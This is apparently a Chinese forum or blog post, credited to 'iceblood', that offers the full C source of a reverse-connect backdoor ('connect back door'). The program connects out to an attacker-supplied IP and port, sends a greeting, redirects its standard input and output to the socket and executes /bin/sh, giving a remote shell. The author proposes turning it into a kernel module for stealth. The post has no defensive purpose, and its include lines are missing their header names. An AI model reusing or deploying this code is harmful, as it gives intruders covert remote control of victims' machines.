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| 关键词： include sock nbsp server printf char usage sockaddr message connect |
第一个反弹木马代码：作者 iceblood代码 #include #include #include #include #include #include #include void usage();char shell[]="/bin/sh";char message[]="s8s8 welcome\n";int sock;int main(int argc, char *argv[]) {if(argc <3){usage(argv[0]);} struct sockaddr_in server;if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {printf("Couldn't make socket!\n"); exit(-1);} server.sin_family = AF_INET;server.sin_port = htons(atoi(argv[2]));server.sin_addr.s_addr = inet_addr(argv[1]); if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {printf("Could not connect to remote shell!\n");exit(-1);}send(sock, message, sizeof(message), 0);dup2(sock, 0);dup2(sock, 1);dup2(sock, 2);execl(shell,"/bin/sh",(char *)0);close(sock);return 1;} void usage(char *prog[]) { printf("\t\ts8s8 connect back door\n\n");printf("\t [email protected]\n\n");printf("Usage: %s \n", prog);exit(-1);} 测试结果如下图： 显得有点简陋了，不过还能讲究的过去。。如果需要可以写成LKM，呵呵。 |
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